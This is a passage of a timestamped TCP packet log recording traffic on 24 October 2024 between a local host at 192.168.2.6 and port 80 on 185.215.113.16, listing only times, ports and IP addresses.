Oct 24, 2024 09:07:26.692919016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692945957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.693087101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.693125010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.693135023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.693155050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.693195105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735470057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735482931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735491037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735512018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735543013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735568047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735574961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735583067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735603094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735610008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735639095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735677004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735681057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735683918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735714912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735735893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735781908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735785961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735789061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735853910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735857010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735863924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735917091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.735935926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.735989094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736001015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736043930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736047983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.736054897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736135960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736141920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736179113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736186028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.736196995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.736217976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.736274958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.740856886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.740902901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.740909100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.740981102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.741003990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741010904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741023064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741045952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741063118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.741091967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.741108894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741116047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741127014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.741169930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.754652977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.760121107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760127068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760138988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760215044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760220051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760231972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760237932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760252953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.760287046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.760314941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.760401964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760407925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760420084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760425091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760432005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.760463953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.760494947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.776467085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.776479006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.776493073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.776549101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.776591063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.807928085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.807934999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.807941914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.807950020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.807965040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.807970047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.807975054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808008909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808074951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808074951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808079958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808093071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808113098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808128119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808150053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808156013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808213949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808223009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808254957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808309078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808312893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808314085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808342934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808368921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808413029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808418036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808463097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808480978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808532953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808537960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808537960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808573961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808581114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808588028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808612108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808636904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808691025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808696985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808723927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808749914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808821917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808829069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808855057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808912992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.808921099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808927059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808939934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808945894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.808989048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809020996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809082031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809087038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809097052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809142113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809159994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809166908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809218884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809254885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809261084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809272051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809408903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809415102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809417963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809427023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809432983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809489012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809489012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809534073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809586048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809592009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809722900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809729099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809741020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809746981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809762955 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809902906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809907913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809921026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809926033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809931993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809938908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.809948921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.809948921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.810014009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.810137987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.810153008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.810170889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.810393095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.852536917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852567911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852575064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852586985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852592945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852641106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.852682114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852694988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852714062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852720022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852749109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.852762938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852768898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852778912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.852807999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852818966 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.852855921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852861881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852865934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.852932930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852976084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.852984905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853009939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853030920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853030920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853035927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853070021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853104115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853177071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853182077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853203058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853235006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853338957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853346109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853358984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853408098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853502989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853508949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853521109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853527069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853578091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853578091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853615999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853621006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853683949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853688002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853691101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853741884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853749037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853760958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853766918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853776932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853806019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853866100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.853868961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853912115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853921890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853991985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.853998899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854032040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.854085922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854096889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854103088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854127884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.854234934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854240894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854253054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854276896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.854343891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854350090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854356050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.854377031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.854547024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.893464088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.893472910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.893486023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.893557072 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.924803019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.924809933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.924822092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.924828053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.924887896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.924923897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.924992085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.924998045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925040960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925077915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925157070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925162077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925209999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925218105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925225019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925272942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925277948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925286055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925292969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925306082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925329924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925385952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925391912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925396919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925403118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925482988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925487995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925507069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925530910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925537109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925538063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925611019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925616026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925647974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925697088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925704002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925736904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925767899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925772905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925805092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925836086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925842047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925844908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925878048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925904989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925930977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.925968885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925975084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.925986052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926004887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926045895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926081896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926127911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926141977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926217079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926223993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926249027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926280975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926285982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926290035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926297903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926367044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926378012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926403999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926456928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926461935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926466942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926525116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926528931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926531076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926584005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926589966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926671028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926707983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926716089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926718950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926726103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926785946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926785946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926876068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926882029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926887989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926893950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.926930904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.926990032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.927009106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.927046061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.927052021 CEST	80	49772	185.215.113.16	192.168.2.6
